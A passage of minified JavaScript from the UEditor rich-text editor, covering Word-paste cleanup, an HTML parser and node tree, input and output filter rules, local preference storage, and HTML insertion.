        return /(class="?Mso|style="[^"]*\bmso\-|w:WordDocument|<(v|o):|lang=)/gi.test(e) ? e.replace(/[\t\r\n]+/g, " ").replace(/<!--[\s\S]*?-->/gi, "").replace(/<v:shape [^>]*>[\s\S]*?.<\/v:shape>/gi, function (e) {
            if (browser.opera) return "";
            try {
                if (/Bitmap/i.test(e)) return "";
                var t = e.match(/width:([ \d.]*p[tx])/i)[1], i = e.match(/height:([ \d.]*p[tx])/i)[1],
                    n = e.match(/src=\s*"([^"]*)"/i)[1];
                return '<img width="' + tr(t) + '" height="' + tr(i) + '" src="' + n + '" />'
            } catch (e) {
                return ""
            }
        }).replace(/<\/?div[^>]*>/g, "").replace(/v:\w+=(["']?)[^'"]+\1/g, "").replace(/<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|xml|meta|link|style|\w+:\w+)(?=[\s\/>]))[^>]*>/gi, "").replace(/<p [^>]*class="?MsoHeading"?[^>]*>(.*?)<\/p>/gi, "<p class='ueditor-p'><strong>$1</strong></p>").replace(/\s+(class|lang|align)\s*=\s*(['"]?)([\w-]+)\2/gi, function (e, t, i, n) {
            return "class" == t && "MsoListParagraph" == n ? e : ""
        }).replace(/<(font|span)[^>]*>(\s*)<\/\1>/gi, function (e, t, i) {
            return i.replace(/[\t\r\n ]+/g, " ")
        }).replace(/(<[a-z][^>]*)\sstyle=(["'])([^\2]*?)\2/gi, function (e, t, i, n) {
            for (var o, r = [], a = n.replace(/^\s+|\s+$/, "").replace(/&#39;/g, "'").replace(/&quot;/gi, "'").replace(/[\d.]+(cm|pt)/g, function (e) {
                return utils.transUnitToPx(e)
            }).split(/;\s*/g), s = 0; o = a[s]; s++) {
                var l, d, c = o.split(":");
                if (2 == c.length) {
                    if (l = c[0].toLowerCase(), d = c[1].toLowerCase(), /^(background)\w*/.test(l) && 0 == d.replace(/(initial|\s)/g, "").length || /^(margin)\w*/.test(l) && /^0\w+$/.test(d)) continue;
                    switch (l) {
                        case"mso-padding-alt":
                        case"mso-padding-top-alt":
                        case"mso-padding-right-alt":
                        case"mso-padding-bottom-alt":
                        case"mso-padding-left-alt":
                        case"mso-margin-alt":
                        case"mso-margin-top-alt":
                        case"mso-margin-right-alt":
                        case"mso-margin-bottom-alt":
                        case"mso-margin-left-alt":
                        case"mso-height":
                        case"mso-width":
                        case"mso-vertical-align-alt":
                            /<table/.test(t) || (r[s] = l.replace(/^mso-|-alt$/g, "") + ":" + tr(d));
                            continue;
                        case"horiz-align":
                            r[s] = "text-align:" + d;
                            continue;
                        case"vert-align":
                            r[s] = "vertical-align:" + d;
                            continue;
                        case"font-color":
                        case"mso-foreground":
                            r[s] = "color:" + d;
                            continue;
                        case"mso-background":
                        case"mso-highlight":
                            r[s] = "background:" + d;
                            continue;
                        case"mso-default-height":
                            r[s] = "min-height:" + tr(d);
                            continue;
                        case"mso-default-width":
                            r[s] = "min-width:" + tr(d);
                            continue;
                        case"mso-padding-between-alt":
                            r[s] = "border-collapse:separate;border-spacing:" + tr(d);
                            continue;
                        case"text-line-through":
                            "single" != d && "double" != d || (r[s] = "text-decoration:line-through");
                            continue;
                        case"mso-zero-height":
                            "yes" == d && (r[s] = "display:none");
                            continue;
                        case"margin":
                            if (!/[1-9]/.test(d)) continue
                    }
                    if (/^(mso|column|font-emph|lang|layout|line-break|list-image|nav|panose|punct|row|ruby|sep|size|src|tab-|table-border|text-(?:decor|trans)|top-bar|version|vnd|word-break)/.test(l) || /text\-indent|padding|margin/.test(l) && /\-[\d.]+/.test(d)) continue;
                    r[s] = l + ":" + c[1]
                }
            }
            return t + (r.length ? ' style="' + r.join(";").replace(/;{2,}/g, ";") + '"' : "")
        }) : e
    }, Yr, Zr, $r, _r, as;

    function tr(e) {
        return e = e.replace(/[\d.]+\w+/g, function (e) {
            return utils.transUnitToPx(e)
        })
    }

    function bs(e, t, i) {
        return e.push(as), t + (i ? 1 : -1)
    }

    function cs(e, t) {
        for (var i = 0; i < t; i++) e.push(_r)
    }

    function ds(e, t, i, n) {
        switch (e.type) {
            case"root":
                for (var o, r = 0; o = e.children[r++];) i && "element" == o.type && !dtd.$inlineWithA[o.tagName] && 1 < r && (bs(t, n, !0), cs(t, n)), ds(o, t, i, n);
                break;
            case"text":
                l = t, "pre" == (s = e).parentNode.tagName ? l.push(s.data) : l.push($r[s.parentNode.tagName] ? utils.html(s.data) : s.data.replace(/[ ]{2}/g, " &nbsp;"));
                break;
            case"element":
                !function (e, t, i, n) {
                    var o = "";
                    if (e.attrs) {
                        o = [];
                        var r = e.attrs;
                        for (var a in r) o.push(a + (void 0 !== r[a] ? '="' + (Zr[a] ? utils.html(r[a]).replace(/["]/g, function (e) {
                            return "&quot;"
                        }) : utils.unhtml(r[a])) + '"' : ""));
                        o = o.join(" ")
                    }
                    t.push("<" + e.tagName + (o ? " " + o : "") + (dtd.$empty[e.tagName] ? "/" : "") + ">"), !i || dtd.$inlineWithA[e.tagName] || "pre" == e.tagName || e.children && e.children.length && (n = bs(t, n, !0), cs(t, n));
                    if (e.children && e.children.length) for (var s, l = 0; s = e.children[l++];) i && "element" == s.type && !dtd.$inlineWithA[s.tagName] && 1 < l && (bs(t, n), cs(t, n)), ds(s, t, i, n);
                    dtd.$empty[e.tagName] || (i && !dtd.$inlineWithA[e.tagName] && "pre" != e.tagName && e.children && e.children.length && (n = bs(t, n), cs(t, n)), t.push("</" + e.tagName + ">"))
                }(e, t, i, n);
                break;
            case"comment":
                a = e, t.push("\x3c!--" + a.data + "--\x3e")
        }
        var a, s, l;
        return t
    }

    function hs(e, t) {
        var i;
        if ("element" == e.type && e.getAttr("id") == t) return e;
        if (e.children && e.children.length) for (var n, o = 0; n = e.children[o++];) if (i = hs(n, t)) return i
    }

    function is(e, t, i) {
        if ("element" == e.type && e.tagName == t && i.push(e), e.children && e.children.length) for (var n, o = 0; n = e.children[o++];) is(n, t, i)
    }

    Yr = UE.uNode = function (e) {
        this.type = e.type, this.data = e.data, this.tagName = e.tagName, this.parentNode = e.parentNode, this.attrs = e.attrs || {}, this.children = e.children
    }, Zr = {href: 1, src: 1, _src: 1, _href: 1, cdata_data: 1}, $r = {
        style: 1,
        script: 1
    }, _r = "    ", as = "\n", Yr.createElement = function (e) {
        return /[<>]/.test(e) ? UE.htmlparser(e).children[0] : new Yr({type: "element", children: [], tagName: e})
    }, Yr.createText = function (e, t) {
        return new UE.uNode({type: "text", data: t ? e : utils.unhtml(e || "")})
    }, Yr.prototype = {
        toHtml: function (e) {
            var t = [];
            return ds(this, t, e, 0), t.join("")
        }, innerHTML: function (e) {
            if ("element" != this.type || dtd.$empty[this.tagName]) return this;
            if (utils.isString(e)) {
                if (this.children) for (var t = 0; i = this.children[t++];) i.parentNode = null;
                this.children = [];
                var i, n = UE.htmlparser(e);
                for (t = 0; i = n.children[t++];) this.children.push(i), i.parentNode = this;
                return this
            }
            return (n = new UE.uNode({type: "root", children: this.children})).toHtml()
        }, innerText: function (e, t) {
            if ("element" != this.type || dtd.$empty[this.tagName]) return this;
            if (e) {
                if (this.children) for (var i, n = 0; i = this.children[n++];) i.parentNode = null;
                return this.children = [], this.appendChild(Yr.createText(e, t)), this
            }
            return this.toHtml().replace(/<[^>]+>/g, "")
        }, getData: function () {
            return "element" == this.type ? "" : this.data
        }, firstChild: function () {
            return this.children ? this.children[0] : null
        }, lastChild: function () {
            return this.children ? this.children[this.children.length - 1] : null
        }, previousSibling: function () {
            for (var e, t = this.parentNode, i = 0; e = t.children[i]; i++) if (e === this) return 0 == i ? null : t.children[i - 1]
        }, nextSibling: function () {
            for (var e, t = this.parentNode, i = 0; e = t.children[i++];) if (e === this) return t.children[i]
        }, replaceChild: function (e, t) {
            if (this.children) {
                e.parentNode && e.parentNode.removeChild(e);
                for (var i, n = 0; i = this.children[n]; n++) if (i === t) return this.children.splice(n, 1, e), t.parentNode = null, e.parentNode = this, e
            }
        }, appendChild: function (e) {
            if ("root" == this.type || "element" == this.type && !dtd.$empty[this.tagName]) {
                this.children || (this.children = []), e.parentNode && e.parentNode.removeChild(e);
                for (var t, i = 0; t = this.children[i]; i++) if (t === e) {
                    this.children.splice(i, 1);
                    break
                }
                return this.children.push(e), e.parentNode = this, e
            }
        }, insertBefore: function (e, t) {
            if (this.children) {
                e.parentNode && e.parentNode.removeChild(e);
                for (var i, n = 0; i = this.children[n]; n++) if (i === t) return this.children.splice(n, 0, e), e.parentNode = this, e
            }
        }, insertAfter: function (e, t) {
            if (this.children) {
                e.parentNode && e.parentNode.removeChild(e);
                for (var i, n = 0; i = this.children[n]; n++) if (i === t) return this.children.splice(n + 1, 0, e), e.parentNode = this, e
            }
        }, removeChild: function (e, t) {
            if (this.children) for (var i, n = 0; i = this.children[n]; n++) if (i === e) {
                if (this.children.splice(n, 1), i.parentNode = null, t && i.children && i.children.length) for (var o, r = 0; o = i.children[r]; r++) this.children.splice(n + r, 0, o), o.parentNode = this;
                return i
            }
        }, getAttr: function (e) {
            return this.attrs && this.attrs[e.toLowerCase()]
        }, setAttr: function (e, t) {
            if (e) if (this.attrs || (this.attrs = {}), utils.isObject(e)) for (var i in e) e[i] ? this.attrs[i.toLowerCase()] = e[i] : delete this.attrs[i]; else t ? this.attrs[e.toLowerCase()] = t : delete this.attrs[e]; else delete this.attrs
        }, getIndex: function () {
            for (var e, t = this.parentNode, i = 0; e = t.children[i]; i++) if (e === this) return i;
            return -1
        }, getNodeById: function (e) {
            var t;
            if (this.children && this.children.length) for (var i, n = 0; i = this.children[n++];) if (t = hs(i, e)) return t
        }, getNodesByTagName: function (e) {
            e = utils.trim(e).replace(/[ ]{2,}/g, " ").split(" ");
            var n = [], o = this;
            return utils.each(e, function (e) {
                if (o.children && o.children.length) for (var t, i = 0; t = o.children[i++];) is(t, e, n)
            }), n
        }, getStyle: function (e) {
            var t = this.getAttr("style");
            if (!t) return "";
            var i = new RegExp("(^|;)\\s*" + e + ":([^;]+)", "i"), n = t.match(i);
            return n && n[0] ? n[2] : ""
        }, setStyle: function (e, t) {
            function i(e, t) {
                var i = new RegExp("(^|;)\\s*" + e + ":([^;]+;?)", "gi");
                n = n.replace(i, "$1"), t && (n = e + ":" + utils.unhtml(t) + ";" + n)
            }

            var n = this.getAttr("style");
            if (n = n || "", utils.isObject(e)) for (var o in e) i(o, e[o]); else i(e, t);
            this.setAttr("style", utils.trim(n))
        }, traversal: function (e) {
            return this.children && this.children.length && function e(t, i) {
                if (t.children && t.children.length) for (var n, o = 0; n = t.children[o];) e(n, i), n.parentNode && (n.children && n.children.length && i(n), n.parentNode && o++); else i(t)
            }(this, e), this
        }
    };
    var htmlparser = UE.htmlparser = function (e, i) {
        var t = /<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)-->)|(?:([^\s\/<>]+)\s*((?:(?:"[^"]*")|(?:'[^']*')|[^"'<>])*)\/?>))/g,
            d = /([\w\-:.]+)(?:(?:\s*=\s*(?:(?:"([^"]*)")|(?:'([^']*)')|([^\s>]+)))|(?=\s|$))/g, n = {
                b: 1,
                code: 1,
                i: 1,
                u: 1,
                strike: 1,
                s: 1,
                tt: 1,
                strong: 1,
                q: 1,
                samp: 1,
                em: 1,
                span: 1,
                sub: 1,
                img: 1,
                sup: 1,
                font: 1,
                big: 1,
                small: 1,
                iframe: 1,
                a: 1,
                br: 1,
                pre: 1
            };
        e = e.replace(new RegExp(domUtils.fillChar, "g"), ""), i || (e = e.replace(new RegExp("[\\r\\t\\n" + (i ? "" : " ") + "]*</?(\\w+)\\s*(?:[^>]*)>[\\r\\t\\n" + (i ? "" : " ") + "]*", "g"), function (e, t) {
            return t && n[t.toLowerCase()] ? e.replace(/(^[\n\r]+)|([\n\r]+$)/g, "") : e.replace(new RegExp("^[\\r\\n" + (i ? "" : " ") + "]+"), "").replace(new RegExp("[\\r\\n" + (i ? "" : " ") + "]+$"), "")
        }));
        var c = {href: 1, src: 1}, u = UE.uNode, m = {
            td: "tr",
            tr: ["tbody", "thead", "tfoot"],
            tbody: "table",
            th: "tr",
            thead: "table",
            tfoot: "table",
            caption: "table",
            li: ["ul", "ol"],
            dt: "dl",
            dd: "dl",
            option: "select"
        }, o = {ol: "li", ul: "li"};

        function r(e, t) {
            if (o[e.tagName]) {
                var i = u.createElement(o[e.tagName]);
                e.appendChild(i), i.appendChild(u.createText(t)), e = i
            } else e.appendChild(u.createText(t))
        }

        function f(e, t, i) {
            var n;
            if (n = m[t]) {
                for (var o, r = e; "root" != r.type;) {
                    if (utils.isArray(n) ? -1 != utils.indexOf(n, r.tagName) : n == r.tagName) {
                        e = r, o = !0;
                        break
                    }
                    r = r.parentNode
                }
                o || (e = f(e, utils.isArray(n) ? n[0] : n))
            }
            var a = new u({
                parentNode: e,
                type: "element",
                tagName: t.toLowerCase(),
                children: dtd.$empty[t] ? null : []
            });
            if (i) {
                for (var s, l = {}; s = d.exec(i);) l[s[1].toLowerCase()] = c[s[1].toLowerCase()] ? s[2] || s[3] || s[4] : utils.unhtml(s[2] || s[3] || s[4]);
                a.attrs = l
            }
            return e.children.push(a), dtd.$empty[t] ? e : a
        }

        for (var a, s, l, h = 0, p = 0, g = new u({type: "root", children: []}), b = g; a = t.exec(e);) {
            h = a.index;
            try {
                if (p < h && r(b, e.slice(p, h)), a[3]) dtd.$cdata[b.tagName] ? r(b, a[0]) : b = f(b, a[3].toLowerCase(), a[4]); else if (a[1]) {
                    if ("root" != b.type) if (dtd.$cdata[b.tagName] && !dtd.$cdata[a[1]]) r(b, a[0]); else {
                        for (var v = b; "element" == b.type && b.tagName != a[1].toLowerCase();) if ("root" == (b = b.parentNode).type) throw b = v, "break";
                        b = b.parentNode
                    }
                } else a[2] && (s = b, l = a[2], s.children.push(new u({type: "comment", data: l, parentNode: s})))
            } catch (e) {
            }
            p = t.lastIndex
        }
        return p < e.length && r(b, e.slice(p)), g
    }, filterNode = UE.filterNode = function (e, t) {
        if (utils.isEmptyObject(t)) return e;
        var i;
        (i = t["-"]) && utils.each(i.split(" "), function (e) {
            t[e] = "-"
        });
        for (var n, o = 0; n = e.children[o];) Yu(n, t), n.parentNode && o++;
        return e
    }, rv;

    function Yu(i, e) {
        switch (i.type) {
            case"text":
                break;
            case"element":
                var t;
                if (t = e[i.tagName]) if ("-" === t) i.parentNode.removeChild(i); else if (utils.isFunction(t)) {
                    var n = i.parentNode, o = i.getIndex();
                    if (t(i), i.parentNode) {
                        if (i.children) for (var r = 0; u = i.children[r];) Yu(u, e), u.parentNode && r++
                    } else for (r = o; u = n.children[r];) Yu(u, e), u.parentNode && r++
                } else {
                    var a = t.$;
                    if (a && i.attrs) {
                        var s, l = {};
                        for (var d in a) {
                            if (s = i.getAttr(d), "style" == d && utils.isArray(a[d])) {
                                var c = [];
                                utils.each(a[d], function (e) {
                                    var t;
                                    (t = i.getStyle(e)) && c.push(e + ":" + t)
                                }), s = c.join(";")
                            }
                            s && (l[d] = s)
                        }
                        i.attrs = l
                    }
                    if (i.children) for (r = 0; u = i.children[r];) Yu(u, e), u.parentNode && r++
                } else if (dtd.$cdata[i.tagName]) i.parentNode.removeChild(i); else {
                    n = i.parentNode, o = i.getIndex();
                    i.parentNode.removeChild(i, !0);
                    var u;
                    for (r = o; u = n.children[r];) Yu(u, e), u.parentNode && r++
                }
                break;
            case"comment":
                i.parentNode.removeChild(i)
        }
    }

    UE.plugin = (rv = {}, {
        register: function (e, t, i, n) {
            i && utils.isFunction(i) && (n = i, i = null), rv[e] = {optionName: i || e, execFn: t, afterDisabled: n}
        }, load: function (i) {
            utils.each(rv, function (e) {
                var t = e.execFn.call(i);
                !1 !== i.options[e.optionName] ? t && utils.each(t, function (e, t) {
                    switch (t.toLowerCase()) {
                        case"shortcutkey":
                            i.addshortcutkey(e);
                            break;
                        case"bindevents":
                            utils.each(e, function (e, t) {
                                i.addListener(t, e)
                            });
                            break;
                        case"bindmultievents":
                            utils.each(utils.isArray(e) ? e : [e], function (t) {
                                var e = utils.trim(t.type).split(/\s+/);
                                utils.each(e, function (e) {
                                    i.addListener(e, t.handler)
                                })
                            });
                            break;
                        case"commands":
                            utils.each(e, function (e, t) {
                                i.commands[t] = e
                            });
                            break;
                        case"outputrule":
                            i.addOutputRule(e);
                            break;
                        case"inputrule":
                            i.addInputRule(e);
                            break;
                        case"defaultoptions":
                            i.setOpt(e)
                    }
                }) : e.afterDisabled && e.afterDisabled.call(i)
            }), utils.each(UE.plugins, function (e) {
                e.call(i)
            })
        }, run: function (e, t) {
            var i = rv[e];
            i && i.exeFn.call(t)
        }
    });
    var keymap = UE.keymap = {
            Backspace: 8,
            Tab: 9,
            Enter: 13,
            Shift: 16,
            Control: 17,
            Alt: 18,
            CapsLock: 20,
            Esc: 27,
            Spacebar: 32,
            PageUp: 33,
            PageDown: 34,
            End: 35,
            Home: 36,
            Left: 37,
            Up: 38,
            Right: 39,
            Down: 40,
            Insert: 45,
            Del: 46,
            NumLock: 144,
            Cmd: 91,
            "=": 187,
            "-": 189,
            b: 66,
            i: 73,
            z: 90,
            y: 89,
            v: 86,
            x: 88,
            s: 83,
            n: 78
        },
        LocalStorage = UE.LocalStorage = (Mv = window.localStorage || ((Tv = document.createElement("div")).style.display = "none", Tv.addBehavior ? (Tv.addBehavior("#default#userdata"), {
            getItem: function (e) {
                var t = null;
                try {
                    document.body.appendChild(Tv), Tv.load(Nv), t = Tv.getAttribute(e), document.body.removeChild(Tv)
                } catch (e) {
                }
                return t
            }, setItem: function (e, t) {
                document.body.appendChild(Tv), Tv.setAttribute(e, t), Tv.save(Nv), document.body.removeChild(Tv)
            }, removeItem: function (e) {
                document.body.appendChild(Tv), Tv.removeAttribute(e), Tv.save(Nv), document.body.removeChild(Tv)
            }
        }) : null) || null, Nv = "localStorage", {
            saveLocalData: function (e, t) {
                return !(!Mv || !t || (Mv.setItem(e, t), 0))
            }, getLocalData: function (e) {
                return Mv ? Mv.getItem(e) : null
            }, removeItem: function (e) {
                Mv && Mv.removeItem(e)
            }
        }), Tv, Mv, Nv, $v, yC, iE, gE, HG, xN;

    function generateUUID() {
        var i = (new Date).getTime();
        return window.performance && "function" == typeof window.performance.now && (i += performance.now()), "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (e) {
            var t = (i + 16 * Math.random()) % 16 | 0;
            return i = Math.floor(i / 16), ("x" == e ? t : 3 & t | 8).toString(16)
        })
    }

    function hE() {
        this.editor = null, this.resizer = null, this.cover = null, this.doc = document, this.prePos = {
            x: 0,
            y: 0
        }, this.startPos = {x: 0, y: 0}
    }

    function yN(e) {
        return xN.getTableItemsByRange(e)
    }

    function zN(e) {
        return xN.getUETableBySelected(e)
    }

    function AN(e, t) {
        return xN.getDefaultValue(e, t)
    }

    function BN(e) {
        return xN.getUETable(e)
    }

    function CN(e, t) {
        var i, n, o, r, a = domUtils.getElementsByTagName(e, "td th");
        utils.each(a, function (e) {
            e.removeAttribute("width")
        }), e.setAttribute("width", (n = !0, o = AN(i = t, e), (r = i.body).offsetWidth - (n ? 2 * parseInt(domUtils.getComputedStyle(r, "margin-left"), 10) : 0) - 2 * o.tableBorder - (i.options.offsetWidth || 0)));
        var s = [];
        setTimeout(function () {
            utils.each(a, function (e) {
                1 == e.colSpan && s.push(e.offsetWidth)
            }), utils.each(a, function (e, t) {
                1 == e.colSpan && e.setAttribute("width", s[t] + "")
            })
        }, 0)
    }

    function EN(e) {
        var t = yN(e).cell;
        if (t) {
            var i = BN(t);
            return i.selectedTds.length ? i.selectedTds : [t]
        }
        return []
    }

    $v = "ueditor_preference", UE.Editor.prototype.setPreferences = function (e, t) {
        var i = {};
        utils.isString(e) ? i[e] = t : i = e;
        var n = LocalStorage.getLocalData($v);
        (n = n && utils.str2json(n)) ? utils.extend(n, i) : n = i, n && LocalStorage.saveLocalData($v, utils.json2str(n))
    }, UE.Editor.prototype.getPreferences = function (e) {
        var t = LocalStorage.getLocalData($v);
        return (t = t && utils.str2json(t)) ? e ? t[e] : t : null
    }, UE.Editor.prototype.removePreferences = function (e) {
        var t = LocalStorage.getLocalData($v);
        (t = t && utils.str2json(t)) && (t[e] = void 0, delete t[e]), t && LocalStorage.saveLocalData($v, utils.json2str(t))
    }, UE.plugins.defaultfilter = function () {
        var s = this;
        s.setOpt({allowDivTransToP: !0, disabledTableInTable: !0}), s.addInputRule(function (e) {
            var r, a = this.options.allowDivTransToP;
            e.traversal(function (o) {
                if ("element" == o.type) {
                    if (!dtd.$cdata[o.tagName] && s.options.autoClearEmptyNode && dtd.$inline[o.tagName] && !dtd.$empty[o.tagName] && (!o.attrs || utils.isEmptyObject(o.attrs))) return void (o.firstChild() ? "span" != o.tagName || o.attrs && !utils.isEmptyObject(o.attrs) || o.parentNode.removeChild(o, !0) : o.parentNode.removeChild(o));
                    switch (o.tagName) {
                        case"style":
                        case"script":
                            o.setAttr({
                                cdata_tag: o.tagName,
                                cdata_data: o.innerHTML() || "",
                                _ue_custom_node_: "true"
                            }), o.tagName = "div", o.innerHTML("");
                            break;
                        case"a":
                            (r = o.getAttr("href")) && o.setAttr("_href", r);
                            break;
                        case"img":
                            if ((r = o.getAttr("src")) && /^data:/.test(r)) {
                                o.parentNode.removeChild(o);
                                break
                            }
                            o.setAttr("_src", o.getAttr("src"));
                            break;
                        case"span":
                            browser.webkit && (r = o.getStyle("white-space")) && /nowrap|normal/.test(r) && (o.setStyle("white-space", ""), s.options.autoClearEmptyNode && utils.isEmptyObject(o.attrs) && o.parentNode.removeChild(o, !0)), (r = o.getAttr("id")) && /^_baidu_bookmark_/i.test(r) && o.parentNode.removeChild(o);
                            break;
                        case"p":
                            (r = o.getAttr("align")) && (o.setAttr("align"), o.setStyle("text-align", r)), utils.each(o.children, function (e) {
                                if ("element" == e.type && "p" == e.tagName) {
                                    var t = e.nextSibling();
                                    o.parentNode.insertAfter(e, o);
                                    for (var i = e; t;) {
                                        var n = t.nextSibling();
                                        o.parentNode.insertAfter(t, i), i = t, t = n
                                    }
                                    return !1
                                }
                            }), o.firstChild() || o.innerHTML(browser.ie ? "&nbsp;" : "<br/>");
                            break;
                        case"div":
                            if (o.getAttr("cdata_tag")) break;
                            if ((r = o.getAttr("class")) && /^line number\d+/.test(r)) break;
                            if (!a) break;
                            var e, t = UE.uNode.createElement("p");
                            for (t.className = "ueditor-p"; e = o.firstChild();) "text" != e.type && UE.dom.dtd.$block[e.tagName] ? t.firstChild() ? (o.parentNode.insertBefore(t, o), (t = UE.uNode.createElement("p")).className = "ueditor-p") : o.parentNode.insertBefore(e, o) : t.appendChild(e);
                            t.firstChild() && o.parentNode.insertBefore(t, o), o.parentNode.removeChild(o);
                            break;
                        case"dl":
                            o.tagName = "ul";
                            break;
                        case"dt":
                        case"dd":
                            o.tagName = "li";
                            break;
                        case"li":
                            var i = o.getAttr("class");
                            i && /list\-/.test(i) || o.setAttr();
                            var n = o.getNodesByTagName("ol ul");
                            UE.utils.each(n, function (e) {
                                o.parentNode.insertAfter(e, o)
                            });
                            break;
                        case"td":
                        case"th":
                        case"caption":
                            o.children && o.children.length || o.appendChild(browser.ie11below ? UE.uNode.createText(" ") : UE.uNode.createElement("br"));
                            break;
                        case"table":
                            s.options.disabledTableInTable && function (e) {
                                for (; e && "element" == e.type;) {
                                    if ("td" == e.tagName) return 1;
                                    e = e.parentNode
                                }
                            }(o) && (o.parentNode.insertBefore(UE.uNode.createText(o.innerText()), o), o.parentNode.removeChild(o))
                    }
                }
            })
        }), s.addOutputRule(function (e) {
            var t;
            e.traversal(function (e) {
                if ("element" == e.type) {
                    if (s.options.autoClearEmptyNode && dtd.$inline[e.tagName] && !dtd.$empty[e.tagName] && (!e.attrs || utils.isEmptyObject(e.attrs))) return void (e.firstChild() ? "span" != e.tagName || e.attrs && !utils.isEmptyObject(e.attrs) || e.parentNode.removeChild(e, !0) : e.parentNode.removeChild(e));
                    switch (e.tagName) {
                        case"div":
                            (t = e.getAttr("cdata_tag")) && (e.tagName = t, e.appendChild(UE.uNode.createText(e.getAttr("cdata_data"))), e.setAttr({
                                cdata_tag: "",
                                cdata_data: "",
                                _ue_custom_node_: ""
                            }));
                            break;
                        case"a":
                            (t = e.getAttr("_href")) && e.setAttr({href: utils.html(t), _href: ""});
                            break;
                        case"span":
                            (t = e.getAttr("id")) && /^_baidu_bookmark_/i.test(t) && e.parentNode.removeChild(e);
                            break;
                        case"img":
                            (t = e.getAttr("_src")) && e.setAttr({src: e.getAttr("_src"), _src: ""})
                    }
                }
            })
        })
    }, UE.commands.inserthtml = {
        execCommand: function (e, t, i) {
            var n, o, r = this;
            if (t && !0 !== r.fireEvent("beforeinserthtml", t)) {
                if ((o = (n = r.selection.getRange()).document.createElement("div")).style.display = "inline", !i) {
                    var a = UE.htmlparser(t);
                    r.options.filterRules && UE.filterNode(a, r.options.filterRules), r.filterInputRule(a), t = a.toHtml()
                }
                if (o.innerHTML = utils.trim(t), !n.collapsed) {
                    var s = n.startContainer;
                    if (domUtils.isFillChar(s) && n.setStartBefore(s), s = n.endContainer, domUtils.isFillChar(s) && n.setEndAfter(s), n.txtToElmBoundary(), n.endContainer && 1 == n.endContainer.nodeType && (s = n.endContainer.childNodes[n.endOffset]) && domUtils.isBr(s) && n.setEndAfter(s), 0 == n.startOffset && (s = n.startContainer, domUtils.isBoundaryNode(s, "firstChild") && (s = n.endContainer, n.endOffset == (3 == s.nodeType ? s.nodeValue.length : s.childNodes.length) && domUtils.isBoundaryNode(s, "lastChild") && (r.body.innerHTML = '<p class="ueditor-p">' + (browser.ie ? "" : "<br/>") + "</p>", n.setStart(r.body.firstChild, 0).collapse(!0)))), n.collapsed || n.deleteContents(), 1 == n.startContainer.nodeType) if ((l = n.startContainer.childNodes[n.startOffset]) && domUtils.isBlockElm(l) && (b = l.previousSibling) && domUtils.isBlockElm(b)) {
                        for (n.setEnd(b, b.childNodes.length).collapse(); l.firstChild;) b.appendChild(l.firstChild);
                        domUtils.remove(l)
                    }
                }
                var l, d, c, u, m = 0;
                n.inFillChar() && (l = n.startContainer, domUtils.isFillChar(l) ? (n.setStartBefore(l).collapse(!0), domUtils.remove(l)) : domUtils.isFillChar(l, !0) && (l.nodeValue = l.nodeValue.replace(fillCharReg, ""), n.startOffset--, n.collapsed && n.collapse(!0)));
                var f = domUtils.findParentByTagName(n.startContainer, "li", !0);
                if (f) {
                    for (var h; l = o.firstChild;) {
                        for (; l && (3 == l.nodeType || !domUtils.isBlockElm(l) || "HR" == l.tagName);) v = l.nextSibling, n.insertNode(l).collapse(), h = l, l = v;
                        if (l) if (/^(ol|ul)$/i.test(l.tagName)) {
                            for (; l.firstChild;) h = l.firstChild, domUtils.insertAfter(f, l.firstChild), f = f.nextSibling;
                            domUtils.remove(l)
                        } else {
                            var p;
                            v = l.nextSibling, p = r.document.createElement("li"), domUtils.insertAfter(f, p), p.appendChild(l), h = l, l = v, f = p
                        }
                    }
                    f = domUtils.findParentByTagName(n.startContainer, "li", !0), domUtils.isEmptyBlock(f) && domUtils.remove(f), h && n.setStartAfter(h).collapse(!0).select(!0)
                } else {
                    for (; l = o.firstChild;) {
                        if (m) {
                            var g = r.document.createElement("p");
                            for (g.className = "ueditor-p"; l && (3 == l.nodeType || !dtd.$block[l.tagName]);) u = l.nextSibling, g.appendChild(l), l = u;
                            g.firstChild && (l = g)
                        }
                        if (n.insertNode(l), u = l.nextSibling, !m && l.nodeType == domUtils.NODE_ELEMENT && domUtils.isBlockElm(l) && (d = domUtils.findParent(l, function (e) {
                            return domUtils.isBlockElm(e)
                        })) && "body" != d.tagName.toLowerCase() && (!dtd[d.tagName][l.nodeName] || l.parentNode !== d)) {
                            if (dtd[d.tagName][l.nodeName]) for (c = l.parentNode; c !== d;) c = (b = c).parentNode; else b = d;
                            domUtils.breakParent(l, b || c);
                            var b = l.previousSibling;
                            domUtils.trimWhiteTextNode(b), b.childNodes.length || domUtils.remove(b), !browser.ie && (v = l.nextSibling) && domUtils.isBlockElm(v) && v.lastChild && !domUtils.isBr(v.lastChild) && v.appendChild(r.document.createElement("br")), m = 1
                        }
                        var v = l.nextSibling;
                        if (!o.firstChild && v && domUtils.isBlockElm(v)) {
                            n.setStart(v, 0).collapse(!0);
                            break
                        }
                        n.setEndAfter(l).collapse()
                    }
                    if (l = n.startContainer, u && domUtils.isBr(u) && domUtils.remove(u), domUtils.isBlockElm(l) && domUtils.isEmptyNode(l)) if (u = l.nextSibling) domUtils.remove(l), 1 == u.nodeType && dtd.$block[u.tagName] && n.setStart(u, 0).collapse(!0).shrinkBoundary(); else try {
                        l.innerHTML = browser.ie ? domUtils.fillChar : "<br/>"
                    } catch (e) {
                        n.setStartBefore(l), domUtils.remove(l)
                    }
                    try {
                        n.select(!0)
                    } catch (e) {
                    }
                }
                setTimeout(function () {
                    (n = r.selection.getRange()).scrollToView(r.autoHeightEnabled, r.autoHeightEnabled ? domUtils.getXY(r.iframe).y : 0), r.fireEvent("afterinserthtml", t)
                }, 200)
            }
        }
    }, UE.plugins.autotypeset = function () {
        this.setOpt({
            autotypeset: {
                mergeEmptyline: !0,
                removeClass: !0,
                removeEmptyline: !1,
                textAlign: "left",
                imageBlockLine: "center",
                pasteFilter: !1,
                clearFontSize: !1,
                clearFontFamily: !1,
                removeEmptyNode: !1,
                removeTagNames: utils.extend({div: 1}, dtd.$removeEmpty),
                indent: !1,
                indentValue: "2em",
                bdc2sb: !1,
                tobdc: !1
            }
        });
        var p, e, t = this, g = t.options.autotypeset, b = {selectTdClass: 1, pagebreak: 1, anchorclass: 1},
            v = {li: 1},
            i = {div: 1, p: 1, blockquote: 1, center: 1, h1: 1, h2: 1, h3: 1, h4: 1, h5: 1, h6: 1, span: 1};
